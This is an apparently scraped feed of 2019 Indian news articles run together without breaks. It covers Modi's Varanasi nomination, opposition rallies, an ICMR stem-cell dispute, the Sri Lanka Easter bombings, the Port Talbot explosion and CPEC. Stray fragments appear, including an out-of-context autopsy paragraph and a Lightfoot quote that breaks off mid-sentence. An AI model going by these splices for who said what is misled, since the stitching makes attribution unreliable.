Sabha constituency Varanasi on Thursday. The leader performed Ganga aarti at the Dashashwamedh Ghat after holding a the roadshow. Electrifying atmosphere in Kashi! pic.twitter.com/ME8jzdop8w Chowkidar Narendra Modi (@narendramodi) April 26, 2019 Top BJP, NDA leaders present at the meeting Interior minister Rajnath Singh, foreign minister Sushma Swaraj, Tamil Nadu deputy chief minister O. Panneerselvam attended the meeting in Varanasi. BJP party chief Amit Shah attends NDA leaders meet in Varanasi BJP President Amit Shah at NDA leaders meet in Varanasi; Later today, PM Narendra Modi will file his nomination from Varanasi Parliamentary seat. pic.twitter.com/6KvJcMjyn1 ANI UP (@ANINewsUP) April 26, 2019 Uddhav Thackeray reaches Varanasi Shiv Sena chief, Uddhav Thackeray, reached holy city of Varanasi. The leader offered prayers Baba Kaal Bhairav temple. PM Modi to address BJP workers Before filing nomination papers for re-election from the Varanasi parliamentary constituency Prime Minister Narendra Modi will address Bharatiya Janata Party workers in Varanasi. PM Modi to file nomination papers from Varanasi Prime Minister Narendra Modi will file his nomination papers for re-election from the Varanasi parliamentary constituency at 11.30 am. He is likely to be accompanied with BJP party chief Amit Shah and other prominent leaders. As Prime Minister Narendra Modi scales up his emphasis on the governments credentials in promoting national security, Rahul Gandhi on Friday took a sharp swipe at the prime minister for the renewed stress on cross-border action in his election speeches. These days, the prime minister talks of surgical strikes where he goes. That is because he doesnt have anything else to talk about, Gandhi said at a joint rally with Rashtriya Janata Dal leader Tejashwi Yadav. It was their first joint meeting after Bihar moved into election mode. Tejashwi Yadav had skipped Rahul Gandhis earlier events in the state that triggered speculation about crack in the alliance. Tejashwi, however, insisted that it was a strategic decision; the alliance leaders could cover more ground if they addressed meetings separately. WATCH: Whats the point of bank account without money?: Rahul pitches NYAY in Bihar The election rally at Samastipur was a departure from this strategy and was high on optics. But it was a few hours behind schedule because Rahul Gandhis plane had to return to Delhi due to an engine problem. When he joined the rally, Gandhi mostly spoke about how his partys plans for Bihar and the country, particularly the poll promise to launch a scheme that seeks to give the poor 72,000 annually. Gandhi then turned to deliver his attacks at PM Modi. He told the rally about the two sheets of glass that are sometimes visible during PM Modis public rallies. Have you seen?... It is a teleprompter. Tejashwiji, have you seen, Gandhi asked, turning around to his Bihar ally. It wasnt an attack on PM Modis widely-acknowledged oratorical skills. Rahul Gandhi said the PM had to read his speech because he gets his orders from above. He did not clarify who could be scripting his speeches. He is told dont speak on employment, because youth will beat you up. Dont talk about farmers, farmers are very angry Speak about the surgical strikes, Gandhi said. He also appealed to party workers of the alliance partners work put their best foot forward even when the candidate belongs to a different party, Gandhi said they were contesting the elections together because this election had turned into a battle of ideology and to protect the Constitution and institutions such as the Supreme Court. Security is a pre-condition for economic prosperity, Prime Minister Narendra Modi told people in Varanasi on Thursday, and asserted that there had been no terror arrack on any temple or city in the last five years when he has been in power. Speaking to a group of intellectuals in the temple city after a mega roadshow, Modi said, Terrorism is now limited to a small region of Jammu and Kashmir. The prime minister, who files his nomination papers on Friday, raked up the issue of the recent terror attack in Sri Lanka, which killed at least 250 people, and said those who died had everything, but everything was taken away in one incident. Modi said the past five years of his government had focused on honest efforts and that he would extend those efforts in the next term. The prime minister said he will not claim that whatever he wished for the constituency had come true during the last five years. But the pace and the direction of its development are right, he said and outlined the work done by his government in the constituency. He said while the last five years of his government were about making sincere effort, the next five years will be about results. Modi referred to terror attacks targeting temples, including the strike at Sankat Mochan temple in Varanasi, and accused previous governments of merely holding dialogue. But the people of Kashi made me MP and 125 crore people gave me their blessings to become PM. Since then, terrorists have been replied to in a language they understand, he said. The Prime Minister also referred to Pakistan, without naming the neighbour, in recounting his action against terrorism. We have isolated from the world those who nurtured terrorism. Action was taken against some organisations that acted as facilitators of terror. Modi said Kal Bhairav the Kotwal (guard) of Kashi has given him blessings and he will return after victory. He said every citizen of varanasi was like children of Baba Vishwanath. Modi spoke about the change that he brought to Varanasi, and said he was pained to see the state of the affairs when he came to the city five years back. Prime Minister Narendra Modi on Friday set three targets for Bharatiya Janata Party (BJP) workers in Varanasi and assured them an incumbency wave across the country will stun political experts when results for the ongoing Lok Sabha elections are declared. The three targets are: to ensure increased electoral participation of women; to reach out to first-time voters; and to maintain civility in political discourse. Referring to the campaign model followed by the party in Gujarat, where Modi was the chief minister before he contested the 2014 general elections, he suggested that the BJP workers should personally reach out to families in their respective areas over the next few days and spend time with them. This does not incur any expenditure, and helps lowering the cost of contesting election. We did it in Gujarat , Modi said. The election in Varanasi should be such that political experts are compelled to write a book on it after the election. The results for all seven phases of the general election, which ends on May 19, will be declared on May 23. The job of winning Kashi was done yesterday, Modi told a gathering of over 3000 BJP workers, before he filed his nomination papers for the Varanasi parliamentary constituency, from where he is the sitting Member of Parliament. Media has also lost its interest in Varanasi, because there is no TRP any more. But you dont have to be complacent, he said. TRP refers to television rating point, which indicates the popularity of a television channel among its viewers. On Thursday, the Congress ended speculation about its general secretary in charge of east Uttar Pradesh, Priyanka Gandhi Vadra, contesting from Varanasi, and fielded former legislator Ajay Rai. The prime minister also held a six kilometre-long road show in the temple town, and took part in the evening prayers on the banks of the Ganga river on Thursday. For every 100 votes of men in a booth, the number of women voters should be 105, he told workers. Of a total of 1.8 million voters in Varanasi, 800,000 are women. As per figures provided for the first two phases by the Election Commission of India, the voter turnout among women has surpassed that of men 68.53% compared to 68.01% in phase 1, and 69.47% compared to 69.40% in phase 2. Modi also exhorted party workers to make a list of all first-time voters, irrespective of their political affiliation. Of a total of 900 million voters, 84.3 million are first-time voters, including 15 million in the age group of 18-19 years according to the Election Commission. He also asked BJP party workers to restore the lost bonhomie that once existed between political adversaries. Treat opponents with respect. Dont get carried away by the heat generated in television studios, where leaders from different parties have heated arguments, Modi said. He asked the workers to respect their rivals. They are also participating in the election process to make democracy stronger, he said. The Samajwadi Party-Bahujan Samaj Party alliance in the state has fielded Shalini Yadav in Varansi. In 2014, in the first parliamentary election of his career, Modi won by a margin of 371,000 votes against Aam Aadmi Party chief, Arvind Kejriwal. With no heavyweight candidate in the field this time, Modis election managers are hoping for a bigger victory margin. BJPs strategy starts from the booth. When the party starts campaign at the level of polling station, it comes to know which way the wind is blowing, said political analyst KK Mishra, a professor at the political science department of Benaras Hindu University. Modi said he has shown in the past five years that the prime ministers post is not for mauz masti (enjoyment) or chahca-bhatija (uncle-nephew) and bhai-bahan (brother-sister), but to serve the country. Modi said BJP workers in Varanasi were fortunate that they do not face what their counterparts in Kerala and Bengal have to. Both the states have seen bloody clashes between the ruling party and BJP workers, claiming lives. In law and order the state is first in the country. If anyone flouts the law he will be dealt with sternly. In BJP-ruled states RSS workers easily get away after committing serious crimes but in Kerala this will not happen, said Kerala chief minister Pinarayi Vijayan, in a statement released on social media on Friday. I dont think he (PM Narendra Modi) is aware of the ground reality. He is going to face huge anti-incumbency on May 23. He will realise this when the results come out, senior Congress leader Rajeev Shukla said. Samajwadi Party spokesman Abdul Hafiz Gandhi, Modi speaks the opposite of what he does. He talks of love and respect but spreads hatred and enmity in the society. He spent 5000 crore for his personal publicity... Despite this, he criticises other leaders. A handful of candidates across party lines have pledged to recycle existing poll material, and clean up walls where political pamphlets and posters were plastered, after polling for all the 20 Lok Sabha constituencies in Kerala ended on April 23. In Ernakulam, Left Democratic Front candidate P Rajeev started a campaign in the party supporters WhatsApp groups, called Let Us Clean Ernakulam. He asked supporters to clear up the posters and wall paintings within two days. The response was immediate, said Rajeev, with people posting photos of cleared walls. It is our responsibility to clean up, he said. Meanwhile, Bharatiya Janata Party candidate from Thiruvananthapuram, Kummanam Rajasekharan, former Governor of Mizoram, is planning to recycle shawls and other cloth gifts he received while campaigning, to make bags, towels and pillow covers. During my campaign, I received around one lakh cloth gifts. In every meeting I used to get 50-100 shawls. I will convert them into products like cloth bags, pillow covers and handkerchiefs and distribute them. Our workers have started segregating these into piles, said Rajasekharan, who contested against two-time Member of Parliament Shashi Tharoor from the Congress. A senior Congress leader who did not want to be identified said his party preserved most of the banners and flags to recycle and use in other parts of the country. The Bharatiya Janata Party candidate from Ernakulam, union minister K J Alphons, was seen whitewashing defaced walls in his constituency on Thursday. Personally I feel one shouldnt deface walls with posters and graffiti. But when I landed in Ernakulam as a candidate walls were full. Later I was also forced to do a bit, he said. Congress candidate Aashray Sharma, on Thursday, filed his nomination papers for Mandi Lok Sabha constituency at an elaborate ceremony attended by top leaders of the party. Former CM Virbhadra Singh and former Union telecom minister Pandit Sukh Ram, who could be seen displaying bonhomie and hugging each other, became the talk of the town for sharing the stage after 5 years. Virbhadra Singh and Sukh Ram, who, for years, were known for bitter political rivalry, seem to have buried the hatchet, a development which will surely give BJP candidate Ram Swaroop Sharma sleepless nights in coming days. Sharma is facing anti-incumbency while Virbhadra Singh and Sukh Ram are popular leaders in the Mandi district and still hold sawy over voters. Virbhadra Singh while addressing a gathering at Seri Manch in Mandi, on Thursday, said, Let us forget the past and unite to win elections. I thank all the party workers gathered here in huge numbers. I pray for a historic win for Aashray Sharma. An emotional Sukh Ram told the gathering how even though he had won nine out of 10 assembly seats in Mandi for BJP in 2017 assembly elections, the party refused a ticket to his grand son Aashray. Sukh Ram also conveyed regret that his son Anil Sharma was not campaigning for his grand son. Anil Sharma, who recently resigned from power minister portfolio in BJP-led state government, announced he would not campaign for BJP in Mandi LS constituency against his son Aashray, who is now a Congress candidate. On the occasion Aashray said he wished to become political leader like Virbhadra Singh and would leave no stone unturned to fulfill his commitment to the people of the state if he won. Congress leader Anand Sharma and Kaul Singh said BJP leaders are following in the footsteps of their mentor PM Narendra Modi and misleading voters through deceit and cunningness. Instead of issuing a new manifesto of false promises, PM Modi should show a report card of his five-year term achievements and a letter of apology to people who suffered during demonetisation. Pm should apologise to families who lost their kin while queuing outside banks to get a little of their own hard-earned money lying in banks, said Anand Sharma. Congress state president Kuldeep Singh Rathore said when appointing him party chief, party national president Rahul Gandhi assigned him the duty of uniting the party. He said he had fulfilled his duty as all party worker, from top leaders to grass root workers, have gathered at one place to bless Aashray Sharma. Congress party state political affairs in-charge MP Rajani Patil lashed out heavily on BJP state president Satpal Singh Satti, saying that atrocious language used by hime and other BJP leaders is the example of their frustration of losing elections. But it is not their fault alone. When their mentor Modi uses degrading language against opponents, then followers would naturally go one step ahead and use filthier language, she added. Also Read | Issues, key players and more on Himachal Pradesh In his first chaupal campaign in Deoli village on Thursday, BJP candidate from South Delhi Ramesh Bidhuri addressed a crowd of around 200, mostly middle-aged and elderly residents. The meeting was held in a community hall, constructed recently in the erstwhile village chaupal. With Balakot airstrike, Modiji has proved that we (Indians) will not spare anyone who bothers us, Bidhuri said at the onset of his speech. When Pakistani soldiers used to behead our jawans, our former Prime Minister (Manmohan Singh) used to beg for peace Lekin Modi hain toh badla mumkin hai (But it is Prime Minister Narendra Modi who made revenge possible). The crowd responded with a loud applause. Deoli is an assembly constituency reserved for Dalit candidates that falls within the South Delhi parliamentary segment. It has some of the oldest Dalit-dominated localities, commonly addressed as Harijan Bastis by locals, and several choupals named after Dalit icons such as Valmiki and Sant Ravidas. However, the Deoli village within the reserved constituency, according to the residents, is a Jat-dominated area. When Bidhuri, who belongs to the Gujjar community, was asked why he chose a Jat-dominated village, he said: I have strong roots here. I go beyond Gujjar-Jat caste politics in South Delhi to connect with people and engage in work aimed at development, he added. Several Deoli residents whom HT spoke to said their top three concerns are better access to water, sewer lines and proper roads to tackle congestion. Bidhuri, however, chose to start his 20 minute speech with Modi-wave, Pakistan, the Pulwama attack and the Balakot airstrike by India, leaving seven minutes to address local issues. A BJP worker who helped organising the Thursday gathering said, Such is the MPs popularity in the area that we had to list names of over 40 people who would garland him. At one point, it turned into a stampede-like situation in which few people accidentally tripped over, throwing their garlands on the MP and, thus, ended up garlanding one another. While in the first part of his speech he mostly criticised the Congress, his attacks on the Aam Aadmi Party in the latter part were more local in nature. The AAP has always used its so-called tussle with the Centre to cover up its failed deliveries on the issues of water, roads, connectivity, sanitation and getting land sanction for schools and colleges. If that [Arvind] Kejriwal] virus had not affected Delhi in 2015, the city would be like heaven by now under the BJP, he said. Autopsies on the four were performed Wednesday but did not yield definitive results and were marked pending by the medical examiners office. The office said its awaiting toxicology tests that would confirm whether the deaths were drug-related. The results of toxicology tests typically take up to eight weeks, the office said. The Indian Council of Medical Research (ICMR) has called into question the ethics and protocols followed by a Santacruz-based super-speciality paediatrics hospital in its use of stem-cell therapy to treat a 26-week-old preterm babys lung condition. On Thursday, doctors at Surya Hospital announced in a press conference that they had successfully treated a premature baby using stem cells. The baby was born in June 2018 with a condition called bronchopulmonary dysplasia (a form of chronic lung disease that often affects preterm babies), which led to severe breathing difficulties. He was put on a ventilator, but showed no signs of recovery for four months. They started the stem-cell therapy procedure in October 2018 by injecting 40 million stem cells into the babys lungs. Usage of stem cells for this condition is not in compliance with ICMR guidelines or any existing rules and regulations, said Dr Geeta Jotwani, deputy director general of ICMR and national coordinator for Stem Cell Research and Therapy, a unit of ICMR. There is no scientific evidence that stem cells can treat chronic lung disease. The hospital needed to take permission from the Central Drugs Standard Control Organisation (CDSCO) before using stem cell products. On March 19 this year, the Union Health Ministry had notified the New Drugs and Clinical Trial Rules, 2019 which state that stem-cell derived products are to be used as new drugs. This means that any doctor who uses stem-cell therapy needs to take permission from the government, a Drug Controller General of India official told HT. Doctors at Surya Hospital, however, said they were unaware of ICMR guidelines and had made the decision to use stem cell therapy in good faith. Nothing had worked for this baby. X-rays showed his lungs had completely collapsed. Only 30% of the lungs was functioning, said Dr Nandkishor Kabra, director of the hospitals Neonatal Intensive Care Unit and who treated the baby boy. Within two weeks of the treatment, doctors said, the boy no longer needed a ventilator. Dr Kabra added, In March 2019, he was discharged with home oxygen therapy. We recently took that off and he has been doing well. Surya Hospital director Dr Bhupendra Avasthi said that, following the treatment, the growth of the babys lungs accelerated, and are now inflated. The blood vessels and the alveoli (tiny air sacs in the lungs) also developed, he said. Dr Avasthi said researchers in many countries, including Korea and Canada, are in the process of conducting large-scale clinical trials to test stem cells in babies with chronic lung disease. Literature shows that stem cells therapy works for babies who have risks of developing chronic lung disease, Dr Kabra told HT. We were initially sceptical of using stem cells as we knew it may not work, but we went ahead as the parents were firm that they wanted to give it a chance. In this case, doctors used mesenchymal stem-cell therapy on an experimental basis after permission from the hospitals ethics committee. Mesenchymal stem cells are found in bone marrow, the umbilical cord and other tissues, and are being studied extensively as they have the ability to differentiate into several cell types, making them potential therapeutic options. The babys parents said they consented to the therapy as no other treatment option was available. We knew the outcome was not certain, but we were willing to give it a chance, said the boys father, a chartered accountant. He said he procured the stem cells from a pharmaceutical firm, but refused to divulge its name or the procurement procedure. According to Indian Council of Medical Research guidelines, mesenchymal stem cells can be used only for clinical trials. It is unclear how the parents procured the stem cells, Dr Jotwani said. If the stem cells were procured on compassionate grounds, they still need permission from the Drug Controller General of India. A senior neonatologist from civic-run Lokmaniya Tilak Municipal General Hospital told HT that she had not heard of any doctor using stem cells as a therapy to treat chronic lung disease. It is still in an experimental stage and there is no FDA approval yet, she said. However, this seems to be an extremely difficult case and the doctors were on the verge of giving up. Perhaps, then, the use is justified, the doctor added. Dr Jotwani also questioned hospitals decision to publicise the case without having data from a proper scientific trial. ICMR guidelines say that advertising and publicity through any mode by clinicians is not permitted as per Chapter 6 of the Indian Medical Council (Professional Conduct, Etiquettes and Ethics) Regulation. It is mandated that the MCI and Medical Councils of respective state should initiate action on the erring clinicians for violation of code of ethics prescribed. When asked about this, Dr Avasthi of Surya Hospital said, We did not want to be termed as heroes. We did it in good faith, and completed the procedure free of cost. Politicians are made accountable every five years in India. NDA I makes way for UPA I-II and then NDA-II. But the basic structure of permanent bureaucracy is never called into question or held accountable the same way. With career bureaucrats having an average shelf life of over 30 years, many self -serving mandarins outlive politicians by miles, with far less accountability and even less at stake. Then, this isnt true of just India. Other countries, including all of our sub-continental neighbours exhibit the same behaviour. In this context, Sri Lankan President Maithripala Sirisena has made the bureaucracy accountable by firing his defence secretary and police chief for the Easter Day massacre by the Islamic State inspired National Towheeth Jamaath (NTJ) terrorist group. To be sure, the communication failure between Sirisena and the countrys Prime Minister Ranil Wickremesinghe also contributed to the lack of response from the state despite actionable intelligence. The political blame definitely rests with the former as national security powers are centralized under the head of state. Apart from the multiple alerts based on operational grade intelligence sent by India warning of impending attacks to Sri Lanka, New Delhi sent one of its senior most intelligence officers to Colombo to drive home the seriousness of the threat. The post-attack CCTV footage with Islamic bombers carrying military grade explosives in their back-packs into luxury hotels and churches without any security checks makes it quite evident that alerts were either swept under the bureaucratic carpet or not acted upon. In some ways, the Easter Day attacks and the 26/11 Mumbai massacre have a lot of similarities in the context of intelligence alerts and national security response but stand in sharp contrast over accountability. There was a specific intelligence alert from US intelligence about the intruding Lashkar-e-Tayyeba (LeT) ship from Karachi, which was duly disseminated to the Indian Navy and Coast Guard. The Mumbai Police had been warned at the highest level about the impending attack and possible modus operandi of the jihadis. But the Indian Navy did not find the intelligence actionable enough and the Mumbai police believed, after the attacks started, that it was witnessing gang warfare, not a terror attack. This is no different from the Sri Lankan Army and Police which believed that the only threat to the Island nation was from Tamil separatists and not self-radicalized jihadis who have been growing in numbers since the rise of ISIS in 2014. The result was that 166 innocents were gunned down in 26/11 and we are still counting the dead in the April 21 bombings. To say that the Easter Day attack was a retaliation of March 21 Christchurch Mosque attack is rather simplistic as India had picked up plans of a possible attack in Sri Lanka way back in December 2018. Christchurch may have been only been the trigger. However, unlike India, Colombo has made the bureaucracy accountable and has sent a strong message down the ranks that incompetence wont be tolerated. Barring Mumbai police commissioner and the home minister of day, none of the actual recipients of the actual operational intelligence were held accountable for the humongous fiasco that 26/11 was. While many experts will argue that the action of the Sri Lankan President will lower the morale of the troops, the counter is that just as there should be zero tolerance to terror, there should be none of bureaucratic incompetence. The Easter Day attacks and their response highlight a crying need for bureaucratic reform in countries across the sub-continent, where seniority is still confused with merit. This is also due to poor human resource assessment filters with nearly all bureaucrats having outstanding annual confidential records. For last mile delivery whether it is on the platform of governance or internal security or diplomacy, the bureaucracy must be made as accountable as the political leaders of the day. Events such as the Easter Day or 26/11 are also indicators of the governments response to crisis like any natural calamity. The old World War II British architecture, which was not even rooted in the prevailing sub-continent eco-system, should give way to more accountable governance keeping in mind the local facts on ground. Else, even the best of actionable intelligence will fail. SHARE THIS ARTICLE ON The team of Suriya starrer Kaappaan is currently in Java, Indonesia where the makers are filming a song, according to director KV Anand. Anand took to Twitter and wrote: Kaappaan. Song shoot in Java island. The film also stars Malayalam actor Mohanlal in a crucial role. It is rumoured that Suriya plays a bodyguard to the Prime Minister of the country, which is played by Mohanlal. Kaappaan, which also stars Sayyeshaa, Arya, Boman Irani and Samuthirakani, confirmed that the film is gearing up for release this August. Suriya shares screen space with Mohanlal for the first time in Kaappaan, which has been directed by KV Anand. In a recent Facebook live chat, Suriya opened up about working with Mohanlal in the film. Also read: Priyanka Chopra is already in the wedding mode, shares intimate family pic. See it here He is the best (actor) we have in our country. We have learned about acting through his movies. I was introduced to Malayalam cinema with Kilukkam, Kireedam, Spadikam and all his wonderful films. Suriya said he takes reference for his films from his work. While most actors struggle to perform in front of a camera, Suriya said that even if there is a magnifying lens right in front of his face, Mohanlal will make it disappear. Telugu actor Allu Sirish was originally roped in for a crucial role. He later chose to exit from the project and revealed the reason via a statement. Arya was eventually signed on to replace Sirish and the grapevine is that the former plays a negative role. Follow @htshowbiz for more ott:10:ht-entertainment_listing-desktop Kerala and Tamil Nadu police, in association with central agencies, have launched an operation in their states to look for possible sleeper cells and sympathisers of Islamic State and National Towheed Jamaat (NTJ), the two outfits linked to Easter Sunday bombings in Sri Lanka, a counter-terrorism official familiar with the developments said. The IS has owned up the terror attacks in the island nation that killed more than 250 people. One of the attackers was identified as NTJ leader Maulvi Zahran Bin Hashim, who blew himself up at Shangri La hotel in Colombo on Sunday. The operation has been launched in the two southern states to thwart any possible terror attacks, the official cited above added. Investigators have found that Sri Lanka attack mastermind Hashim, a radical preacher, was in touch with some Tamil Nadu and Kerala-based people in a bid to create a separate Islamic State confederation in the region. Six IS members from Tamil Nadus Coimbatore district, who according to a National Investigation Agency probe, were radicalised after watching Hashims videos, were arrested in September 2018. Over half a dozen others from Keralas Palakkad, Kozhikode and other parts of the coastal state had travelled to Sri Lanka on different dates before finally shifting to Afghanistans Nangarhar province, the official said. The central agencies suspect there could be several other IS sleeper cells and followers in these two states who might have some information about Sri Lanka blasts, or were in touch with the attackers. Kerala police chief Loknath Behera confirmed that the state police are assisting the central agencies in the operation. Tamil Nadu director general of police T K Rajendran refused to comment. Conversations on social media, call records and statements of IS recruits arrested from these two states in the past are being analysed to look for clues. Majority of IS recruits, who either travelled to Syria or Afghanistan, were from Kerala, the official claimed. Another official from the ministry of home affairs, who asked not to be named, said several rounds of meetings have also taken place between Research and Analysis Wing , Intelligence Bureau, NIA and other agencies to discuss the strategy on how to contain the threat. The government has repeatedly asserted that IS has got negligible support from Indian Muslims while all the state police forces have worked in coordination for past four-five years to restrain the activities of global terror outfit. According to a second MHA official, countries such as Canada, Japan, Singapore, and Bangladesh have often approached Indian agencies seeking to emulate their approach on controlling the IS. The Indian agencies are currently helping the Sri Lankan authorities informally in the blasts probe, and if requested, an NIA team could also be sent there, said the MHA official cited above. Sri Lankan Prime Minister Ranil Wickremesinghe sent written responses to e-mailed questions from Hindustan Times on Easter Sundays suicide attacks on churches and hotels in Colombo, in which 253 people, including at least 45 children, were killed and hundreds injured. Till the time of going to press, 76 arrests were made which, according to media reports, include nine Pakistani nationals. Indias National Investigation Agency NIA last year charged a Colombo-based Pakistan diplomat of plotting to attack the US and Israeli consulates in India and sent multiple warnings to Colombo ahead of this weeks terror attack, based upon intelligence and the interrogation of men connected with the same plot. Wickremesinghe also answered questions on the rise of Islamist radicalism in Sri Lanka, intelligence-sharing with India and Colombos close ties with Islamabad. Edited excerpts: Islamic State has claimed responsibility for the carnage in Colombo. But over the past days, your government spokesmen have named various other groups, the local National Thowheeth Jamaath (NTJ), the Jamaath-e-Mujahedeen India (JMI) an offshoot of the Bangladesh terror group Jamaat-ul- Mujahideen Bangladesh (JMB) which, in turn, was used by Pakistani diplomats in Dhaka and Colombo for pushing fake Indian currency and gathering classified information on India . Meanwhile, Indian intelligence officials have also pointed out that Pakistan-based terror group Lashkar-e-Taibas (LeT) charity, Idara Khidmat e Khalq, has been radicalising Sri Lankan Muslim youth since the tsunami of 2004. Was Pakistan involved in the attacks? While we are investigating the possibility of foreign links, there is no evidence yet to suggest any particular country has backed these terrorists. All the countries in our region are faced with the same threats. India is trying to prevent global terror from spreading into our countries. Even the best of defences can sometimes be breached by ruthless terrorists, as we have seen time and again, all over the world. Our intelligence has worked with their counterparts abroad. But this is the first time that global terrorism has struck Sri Lanka. This is a new experience for us and we will work with our international allies to apprehend all the perpetrators. Watch: India helping Lanka prevent a second wave of bombings I HT Conversations There are unconfirmed reports that at least one of Sundays suicide bombers received some training at a terror camp in Pakistan. Colombo has excellent relations with Islamabad since you received its military support to end your civil war in 2009. Will ties be impacted now? Pakistan has fully supported Sri Lankas war on terror. If necessary, we will seek their help to trace the terrorists and eliminate them. I see this tragic event as further strengthening the trust that exists between our countries and increasing cooperation. Sri Lankan Armed Forces (SLAF) have maintained that 12,000 Liberation Tigers of Tamil Eelam (LTTE) cadre escaped and regrouped in European countries in 2009. Since then, caches of weapons have occasionally surfaced in Sri Lankas Northern Province (NP). The LTTE is the inventor of both the improvised explosive device (IED) as well as the suicide vest (incidentally, a favoured weapon of the Pakistan-based LeT). Could the LTTE have been a co-conspirator in this attack? Suicide bombings are no longer a trademark of only the LTTE. They inspired many international terrorist outfits who followed their inhuman methods. Therefore, while we can rule out the active involvement of any LTTE elements, we can use the expertise and experience of our defence forces in dismantling the LTTE, to neutralise these external threats. Sri Lankas Muslim community was always non-controversial and committed to secularism. Yet, 33 Sri Lankan Muslims joined the Islamic State in recent years. You said some days ago that some of them may have been involved in the attack on Sunday. Are Muslims being oppressed in Sri Lanka? The Muslim community was under pressure from 2012 to 2014. Since 2015, there has been a marked improvement. Anti-Muslim sentiment was not allowed to raise its head. There was only one unfortunate incident in Kandy, which was brought under control. They have been patient in the face of these provocations, and I must commend their political leaders for maintaining inter-religious harmony. But again, the wave of anti-Muslim sentiment spreading across the liberal world and our region, has had some impact on Sri Lanka as well. We must provide constitutional guarantees to every community to coexist within one Sri Lanka. If inter-religious harmony prevailed despite the attacks by Buddhist chauvinists that you refer to, why did your government allow various controversial speakers like Zakir Naik, who promote hatred and are banned in many countries including the United States and India, to preach in your country? In recent years, we have had controversial speakers from more than one religion visiting Sri Lanka. In a democracy, everyone is entitled to follow their own leaders. While being sensitive to equal freedom of all groups, we closely scrutinise these individuals to ensure they dont threaten our religious harmony or national security. As these teachings are accessible through the internet, we need the help of all religious leaders to mitigate their adverse influence on impressionable minds. The relative peace of the past 10 years has been shattered. Is this the beginning of another era of bloodshed in Sri Lanka, with its roots yet again in Sinhala majority chauvinism, like the birth of the LTTE? Or, is this a new and different kind of terrorism originating primarily outside Sri Lanka? The 30-year conflict in Sri Lanka was largely an internal ethnic issue, which spilled over at times into India. Following the end of the war, there was an urgent need to address the root causes that gave rise to that terrorism. Reconciliation efforts are moving forward while our government has championed the necessary constitutional recognition of religious and ethnic rights. However, while Sri Lanka has enjoyed relative peace, the last decade has seen dramatic developments in the global war on terror. We have had to monitor these external threats to our national security. This latest attack needs to be viewed against this backdrop. The choice of Easter suggests that the terrorists motive was to get the worlds attention, and not just cause domestic disruption of lives. We have to tackle local groups who are being radicalised by regional and international terrorists. What are the specific ways in which India is helping with this probe? Prime Minister Narendra Modi personally pledged Indias support to tackle the terrorists behind this attack. This causes concerns to Indias national security as our closest neighbour. Indias blessings and backing were key factors in defeating the LTTE. As another target and victim of terrorist attacks, India is sharing intelligence with us to root out terrorism altogether from our region. The US ambassador to Sri Lanka has said that her country had no idea about the impending attacks and didnt pass on any information to you. So did the prior warning come from India alone? And why was there such a terrible lapse in communication in Sri Lanka, even after it was received? India and some friendly countries gave information. The information was there. Now we must look into why adequate precautions were not taken. An explosion was reported from TATA Steelworks plant at Port Talbot in United Kingdom, South Wales Police tweeted on Friday. Two people are injured in the incident and the police are at the spot investigating the matter, the police added asking people to avoid the area and wait for updates. The website walesonline.co.uk quoted residents as saying that three blasts were heard near the plant Dozens of local residents have reported hearing a series of huge bangs coming from the site, with some also giving accounts of seeing a fireball in the moments after the explosions, the website reported. A resident wrote on Twitter: Huge explosions just shook Port Talbot. Seems to be from the works. Hope its not as serious as it felt. Update: All staff accounted for No need for concerns re hazardous effects from the smoke from the fire Motorway remains open Full statement ^CD pic.twitter.com/97DOjOYoPl South Wales Police (@swpolice) April 26, 2019 The sun.co.uk quoted a local Twitter user Laura Morris as writing: I hope from whatever has happened at the Steel Works Port Talbot, that everyone is ok. #ApocolypticScenes. Others reported their homes shaking violently with the force of the explosions. Another resident said: Huge explosion in Port Talbot just woke me up, the house shook for a good while and I actually thought it was an earthquake again! the website reported And a fourth wrote: I swear something just blew up in port Talbot. 3 huge bangs and the pressure blew my bedroom door open. Pakistan and China are ready to start the second phase of the China-Pakistan Economic Corridor (CPEC), Prime Minister Imran Khan said in Beijing on Friday, adding the two countries have made substantial progress in implementing the first raft of projects under the flagship bilateral venture. The CPEC is the most high-profile artery in President Xi Jinpings massive Belt and Road Initiative (BRI), multi-billion dollar inter-continental connectivity plan that aims to revive ancient land and sea trade routes between China, rest of Asia and Europe. Khan was delivering his speech at the second Belt and Road International Forum for Cooperation (BRF), which India has skipped because of concerns over territorial sovereignty related to the CPEC as it passes through Pakistan-occupied Kashmir. Indias concerns, however, havent stopped China from going full-steam ahead with the CPEC through PoK and other parts of Pakistan. Khan said that together Pakistan and China are entering the next phase of CPEC with greater emphasis on social economic uplift, poverty alleviation, agriculture cooperation and industrial development. He said that Pakistan had been among BRIs earliest and most enthusiastic proponents, and the CPEC, one of the major components and one of BRIs earliest manifestations have made substantial progress. The Pakistan PM went on to list what the CPEC has so far achieved for Pakistan. Khan said that Pakistans energy supplies had increased massively, critical infrastructure gaps were being plugged, and Gwadar once the small fishing village is transforming, transforming rapidly into commercial hub. Khan added that along the length of the corridor, special economic zones were set to come up offering opportunities for investment for Pakistani, Chinese and foreign entrepreneurs. Supplementing the next phase of CPEC, we are signing an expanded Pakistan-China Free Trade Agreement, he said. Khan thanked China for supporting Pakistan, which has been under increasing international pressure following the terror attack in Pulwama carried out by the Pakistan-based, Jaish-e-Mohammed. I want to thank China and its leadership for the wavering support for Pakistan. A deep-rooted friendship, partnership, and brotherhood with China remain strong, resilient, and unbreakable, Khan said. Praising the BRI, which India has said is opaque and is likely to create an uneven playing the field in favour of China, Khan said that in a world of geopolitical uncertainty, of rising inequality, and barriers to trade, the BRI offers a model of collaboration, partnership, connectivity, and shared prosperity. The Pakistani PM mooted five joint projects for the BRI to include comprising poverty alleviation, anti-corruption, fighting climate change, a tourism corridor and a liberalised trade regime. More than 30 heads of state and representatives from more than 100 countries and international organisations are taking part in the three-day event, which concludes Saturday. India skipped the ongoing BRF like it did the first one in 2017. Explaining Indias position on the BRI and the forum, Indian envoy to China, Vikram Misri last month reiterated New Delhis concerns to Chinese state media. Above all, connectivity initiatives must be pursued in a manner that respects the sovereignty, equality and territorial integrity of nations. No country can participate in an initiative that ignores its core concerns on sovereignty and territorial integrity, Misri had said in an interview to a nationalistic tabloid Global Times. To be honest, we have made no secret of our views and our position on BRI is clear and consistent and one that we have conveyed to the authorities concerned. India shares the global aspiration to strengthen connectivity and it is an integral part of our economic and diplomatic initiatives. We are ourselves working with many countries and international institutions in our region and beyond on a range of connectivity initiatives, he had said. Lightfoot told the Tribune earlier this month: He was very complimentary about the race, and extended an offer to be helpful to the city. I intend to take him up on that offer. While our politics are radically different, hes still the president of the United States. We have a lot of taxpayers in this city who deserve to get every nickel of their tax dollars that theyre 